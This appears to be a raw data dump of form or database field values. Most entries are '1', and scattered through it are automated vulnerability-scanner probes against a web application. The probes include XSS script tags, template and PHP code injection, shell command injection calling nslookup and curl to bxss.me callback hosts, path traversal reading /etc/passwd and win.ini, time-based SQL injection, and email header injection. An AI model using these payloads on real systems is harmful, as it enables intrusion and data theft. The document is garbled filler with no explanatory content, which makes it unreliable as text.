1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >mtDm(9443)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >mtDm(9222)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19874053
1
1
1
1
1
1
1
1
1
1
1
1
1
bfg7464＜s1﹥s2ʺs3ʹhjl7464
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx7959
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
19378"();}]9866
1
1
1
1
1
1
%31%39%36%36%38%22%28%29%3B%7D%5D%39%38%38%34
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1</script><script>mtDm(9562)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9725920*9377927)
1
'+response.write(9725920*9377927)+'
1
"+response.write(9725920*9377927)+"
1
1
1
1
1
1
1
1
1
1
1
echo umkqnp$()\ qplssj\nz^xyu||a #' &echo umkqnp$()\ qplssj\nz^xyu||a #|" &echo umkqnp$()\ qplssj\nz^xyu||a #
1
&echo hhvphx$()\ jfjdze\nz^xyu||a #' &echo hhvphx$()\ jfjdze\nz^xyu||a #|" &echo hhvphx$()\ jfjdze\nz^xyu||a #
|echo eyliky$()\ cideeh\nz^xyu||a #' |echo eyliky$()\ cideeh\nz^xyu||a #|" |echo eyliky$()\ cideeh\nz^xyu||a #
1
1
(nslookup -q=cname hitgmrmyjvqlhde60c.bxss.me||curl hitgmrmyjvqlhde60c.bxss.me))
1
1
$(nslookup -q=cname hitxhtzgmdngic3a88.bxss.me||curl hitxhtzgmdngic3a88.bxss.me)
1
&nslookup -q=cname hitucakboyewf25bb8.bxss.me&'\"`0&nslookup -q=cname hitucakboyewf25bb8.bxss.me&`'
1
1
&(nslookup -q=cname hitsgddujsnoeda57b.bxss.me||curl hitsgddujsnoeda57b.bxss.me)&'\"`0&(nslookup -q=cname hitsgddujsnoeda57b.bxss.me||curl hitsgddujsnoeda57b.bxss.me)&`'
1
|(nslookup -q=cname hitojvfhotoxcf7d80.bxss.me||curl hitojvfhotoxcf7d80.bxss.me)
1
1
1
`(nslookup -q=cname hitiogyluwkzi78bf8.bxss.me||curl hitiogyluwkzi78bf8.bxss.me)`
1
;(nslookup -q=cname hitiztwziddyd6f2cb.bxss.me||curl hitiztwziddyd6f2cb.bxss.me)|(nslookup -q=cname hitiztwziddyd6f2cb.bxss.me||curl hitiztwziddyd6f2cb.bxss.me)&(nslookup -q=cname hitiztwziddyd6f2cb.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 bcc:009247.4312-1154.4312.e84fa.19955.2@bxss.me
1
1
1
to@example.com> bcc:009247.4312-1155.4312.e84fa.19955.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999808+10000059}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
1
1
1
qm4aQOf9
1
1
-1 OR 2+499-499-1=0+0+0+1 --
c:/windows/win.ini
1
1
-1 OR 2+758-758-1=0+0+0+1
1
bxss.me
1
1
-1' OR 2+289-289-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
-1' OR 2+75-75-1=0+0+0+1 or '7LFEuUCk'='
1
-1" OR 2+372-372-1=0+0+0+1 --
1
1
1
1
1
1
)
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1'&&sleep(27*1000)*bhuwdj&&'
1
1
1
1
1
1"&&sleep(27*1000)*coxxkf&&"
1
1
1'||sleep(27*1000)*nfrzxl||'
1
1
1
1
1
1"||sleep(27*1000)*tlketa||"
1
1
1
1
1
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
'.gethostbyname(lc('hitvy'.'cfybwzkz96ad9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(83).chr(104).chr(77).'
1
1
".gethostbyname(lc("hitsv"."uirnkwgy0f057.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(81).chr(98).chr(67)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
IeRPEUxZ'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
';print(md5(31337));$a='
1
1
";print(md5(31337));$a="
1
${@print(md5(31337))}
-5 OR 296=(SELECT 296 FROM PG_SLEEP(15))--
1
1
${@print(md5(31337))}\
1
'.print(md5(31337)).'
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(120).concat(72).concat(101).concat(73)+(require"socket" Socket.gethostbyname("hitpm"+"pkbbgtxm433d4.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(102).concat(86).concat(102).concat(68)+(require'socket' Socket.gethostbyname('hitna'+'acpyxvzl6a1e5.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1)) OR 130=(SELECT 130 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
USWF3qZf' OR 163=(SELECT 163 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
qJMbKOeW') OR 590=(SELECT 590 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
6HJfshew')) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
1
1
create
1
1
1
1
1
@@6jo60
1
create
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >Mn34(9831)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >Mn34(9139)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
19770887
1
1
1
1
1
1
bfg10353＜s1﹥s2ʺs3ʹhjl10353
1
1
1
1
bfgx5619
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
dfb{{98991*97996}}xca
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
19623"();}]9679
1
%31%39%35%37%36%22%28%29%3B%7D%5D%39%33%35%39
1</script><script>Mn34(9406)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
%0abcc:009247.4312-2928.4312.18816.19955.2@bxss.me
response.write(9110832*9361969)
'+response.write(9110832*9361969)+'
to@example.com>%0d%0abcc:009247.4312-2929.4312.18816.19955.2@bxss.me
"+response.write(9110832*9361969)+"
<esi:include src="http://bxss.me/rpb.png"/>
${9999218+9999736}
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
'.gethostbyname(lc('hitjf'.'nkqzdsib78b5a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(81).chr(99).chr(90).'
".gethostbyname(lc("hitts"."czhwrjjz0036f.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(86).chr(105).chr(65)."
)
!(()&&!|*|*|
^(#$!@#$)(()))******
'"()
'&&sleep(27*1000)*perhsa&&'
"&&sleep(27*1000)*rontgx&&"
'||sleep(27*1000)*roittr||'
"||sleep(27*1000)*hmuzsj||"
HttP://bxss.me/t/xss.html?%00
echo bfnovm$()\ zeoodc\nz^xyu||a #' &echo bfnovm$()\ zeoodc\nz^xyu||a #|" &echo bfnovm$()\ zeoodc\nz^xyu||a #
bxss.me/t/xss.html?%00
&echo kwrkmf$()\ zvtjvs\nz^xyu||a #' &echo kwrkmf$()\ zvtjvs\nz^xyu||a #|" &echo kwrkmf$()\ zvtjvs\nz^xyu||a #
|echo zgjrkf$()\ zrytlp\nz^xyu||a #' |echo zgjrkf$()\ zrytlp\nz^xyu||a #|" |echo zgjrkf$()\ zrytlp\nz^xyu||a #
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
(nslookup -q=cname hitoiendcjpch15e28.bxss.me||curl hitoiendcjpch15e28.bxss.me))
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
$(nslookup -q=cname hitncxxmfcjvj89b59.bxss.me||curl hitncxxmfcjvj89b59.bxss.me)
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
&nslookup -q=cname hitqxlfydvyhee48e0.bxss.me&'\"`0&nslookup -q=cname hitqxlfydvyhee48e0.bxss.me&`'
/etc/shells
&(nslookup -q=cname hitynddekzedgf4bd9.bxss.me||curl hitynddekzedgf4bd9.bxss.me)&'\"`0&(nslookup -q=cname hitynddekzedgf4bd9.bxss.me||curl hitynddekzedgf4bd9.bxss.me)&`'
c:/windows/win.ini
bxss.me
|(nslookup -q=cname hitxciyvtgwpi7b47e.bxss.me||curl hitxciyvtgwpi7b47e.bxss.me)
"+"A".concat(70-3).concat(22*4).concat(108).concat(69).concat(103).concat(69)+(require"socket" Socket.gethostbyname("hitka"+"ymnnjpcr39a4b.bxss.me.")[3].to_s)+"
`(nslookup -q=cname hitmjewoiquld35f6a.bxss.me||curl hitmjewoiquld35f6a.bxss.me)`
'+'A'.concat(70-3).concat(22*4).concat(106).concat(72).concat(119).concat(75)+(require'socket' Socket.gethostbyname('hitzm'+'yqzoyktv005b4.bxss.me.')[3].to_s)+'
;(nslookup -q=cname hitwhbtrpwbap62fca.bxss.me||curl hitwhbtrpwbap62fca.bxss.me)|(nslookup -q=cname hitwhbtrpwbap62fca.bxss.me||curl hitwhbtrpwbap62fca.bxss.me)&(nslookup -q=cname hitwhbtrpwbap62fca.b
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
xfs.bxss.me
'.print(md5(31337)).'
'"
<!--
1'"()&%<zzz><ScRiPt >KQT7(9876)</ScRiPt>
'"()&%<zzz><ScRiPt >KQT7(9018)</ScRiPt>
19113808
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
../../../../../../../../../../../../../../../proc/version
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../etc/passwd%00.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
/etc/passwd
%2fetc%2fpasswd
/.././.././.././.././.././.././.././../etc/./passwd%00
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
../././../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
file:///etc/passwd
/\../\../\../\../\../\../\../etc/passwd
/WEB-INF/web.xml
WEB-INF/web.xml
WEB-INF\web.xml
1
1
dARBBhYB
-1 OR 2+374-374-1=0+0+0+1 --
-1 OR 2+466-466-1=0+0+0+1
-1' OR 2+659-659-1=0+0+0+1 --
-1' OR 2+356-356-1=0+0+0+1 or 'Uu8Tn73a'='
-1" OR 2+197-197-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
qDiJ2PLT'; waitfor delay '0:0:15' --
-5 OR 797=(SELECT 797 FROM PG_SLEEP(15))--
-5) OR 982=(SELECT 982 FROM PG_SLEEP(15))--
-1)) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
VKuAnC1I' OR 222=(SELECT 222 FROM PG_SLEEP(15))--
ftjuUpcJ') OR 69=(SELECT 69 FROM PG_SLEEP(15))--
ltBNwIoL')) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@QrCcQ
1
Teaching
Teacher
1
1
1
1
1
1tXeeA2gO
1
1
1
1
1
)
1
!(()&&!|*|*|
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitlc'.'ioxfdthndc429.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(78).chr(109).chr(80).'
1smShcuSC
1
".gethostbyname(lc("hitsr"."okfsodle387c4.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(89).chr(117).chr(67)."
1
1
1
-1 OR 2+836-836-1=0+0+0+1 --
1
1
1
1
-1 OR 2+20-20-1=0+0+0+1
1
1
-1' OR 2+243-243-1=0+0+0+1 --
1
1
-1' OR 2+791-791-1=0+0+0+1 or 'L5kG2IbP'='
1
1
1
-1" OR 2+81-81-1=0+0+0+1 --
1
1
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1-1 waitfor delay '0:0:15' --
1
1Pah1wHCr'; waitfor delay '0:0:15' --
1
1
1
1-1 OR 161=(SELECT 161 FROM PG_SLEEP(15))--
1
1-1) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
1
1
1-1)) OR 858=(SELECT 858 FROM PG_SLEEP(15))--
1
1
18DDNLRIp' OR 598=(SELECT 598 FROM PG_SLEEP(15))--
1
1of63u7ZS') OR 340=(SELECT 340 FROM PG_SLEEP(15))--
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1YU62pgv8')) OR 902=(SELECT 902 FROM PG_SLEEP(15))--
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
';print(md5(31337));$a='
1
1
";print(md5(31337));$a="
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
${@print(md5(31337))}
1
1'"
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
@@cI2KN
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
nbBjZ2dq
1
1&n936154=v956111
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo xgyqsn$()\ brvubc\nz^xyu||a #' &echo xgyqsn$()\ brvubc\nz^xyu||a #|" &echo xgyqsn$()\ brvubc\nz^xyu||a #
1
1
&echo cnwyip$()\ gcsbvf\nz^xyu||a #' &echo cnwyip$()\ gcsbvf\nz^xyu||a #|" &echo cnwyip$()\ gcsbvf\nz^xyu||a #
1
1
1
1&echo rkxbmo$()\ sdaqfe\nz^xyu||a #' &echo rkxbmo$()\ sdaqfe\nz^xyu||a #|" &echo rkxbmo$()\ sdaqfe\nz^xyu||a #
1
1
../../../../../../../../../../../../../../etc/passwd
|echo rksmpi$()\ idnmao\nz^xyu||a #' |echo rksmpi$()\ idnmao\nz^xyu||a #|" |echo rksmpi$()\ idnmao\nz^xyu||a #
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1|echo urwwlj$()\ fpyrsu\nz^xyu||a #' |echo urwwlj$()\ fpyrsu\nz^xyu||a #|" |echo urwwlj$()\ fpyrsu\nz^xyu||a #
1
file:///etc/passwd
1
1
(nslookup -q=cname hitsmrammilrwd22b2.bxss.me||curl hitsmrammilrwd22b2.bxss.me))
1
1
1
1
$(nslookup -q=cname hitrplqgqgbqz7a862.bxss.me||curl hitrplqgqgbqz7a862.bxss.me)
1
../1
1
1
1
1
1
1
&nslookup -q=cname hitlszahdbrouc8512.bxss.me&'\"`0&nslookup -q=cname hitlszahdbrouc8512.bxss.me&`'
1
&(nslookup -q=cname hitukxaeujwwu26fdb.bxss.me||curl hitukxaeujwwu26fdb.bxss.me)&'\"`0&(nslookup -q=cname hitukxaeujwwu26fdb.bxss.me||curl hitukxaeujwwu26fdb.bxss.me)&`'
1
1
1
1
1
|(nslookup -q=cname hituisbweclcwf343c.bxss.me||curl hituisbweclcwf343c.bxss.me)
1
1
1
`(nslookup -q=cname hitzphntinsoka5ddf.bxss.me||curl hitzphntinsoka5ddf.bxss.me)`
1
1
1
;(nslookup -q=cname hitfxhlftxyzk10fba.bxss.me||curl hitfxhlftxyzk10fba.bxss.me)|(nslookup -q=cname hitfxhlftxyzk10fba.bxss.me||curl hitfxhlftxyzk10fba.bxss.me)&(nslookup -q=cname hitfxhlftxyzk10fba.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999565+9999958}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
response.write(9613509*9905680)
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
'+response.write(9613509*9905680)+'
1
Http://bxss.me/t/fit.txt
1
1
"+response.write(9613509*9905680)+"
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
/etc/shells
1
1
1
c:/windows/win.ini
1
1
HttP://bxss.me/t/xss.html?%00
1
1
bxss.me
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
